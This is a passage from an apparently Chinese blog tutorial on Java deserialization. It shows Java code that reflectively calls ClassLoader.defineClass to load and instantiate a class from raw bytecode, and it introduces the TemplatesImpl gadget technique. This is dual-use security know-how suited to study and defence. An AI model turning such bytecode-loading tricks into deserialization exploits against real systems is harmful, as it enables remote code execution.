Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">file</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">length</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()];</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>in</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">read</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">content</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">System</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">out</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">println</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Base64</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">encode</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">content</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> defineClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ClassLoader</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;defineClass&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[].</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>defineClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//byte[] code = Base64.decode(content);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> code </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> content</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> hello </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">defineClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">invoke</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ClassLoader</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSystemClassLoader</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(),</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;org.test.ser.Hello&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">code</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">code</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">length</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>hello</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">newInstance</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">注意根据class文件的全限定路径名需要根据自己写的包名修改，不然会报错</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="0.20892857142857144" style="width:553.8084106445312px;height:117.13999938964844px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=c1370921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKt2Y1yD11BVRGvejXh85ia1Q6h3cYe3mACVuXswrPZhB4Asia3hoiaykdQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">我的目录结构如下</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="0.5785714285714286" style="width:553.8084106445312px;height:324.4100036621094px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=89912ca9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKqmExSrLeUSzwtQekDUjsheP4vYr7vKlFFSxQZibZSaLJOpmkiab5qmQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">下面的TemplatesImpl使用的工具类的setFieldValue，一开始以为是某个lib库中的方法，后来发现是spring的工具类，我这里感觉没有必要起spring，就把源码自己写在一个类中然后去引用</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">package</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;"> org</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">test</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: 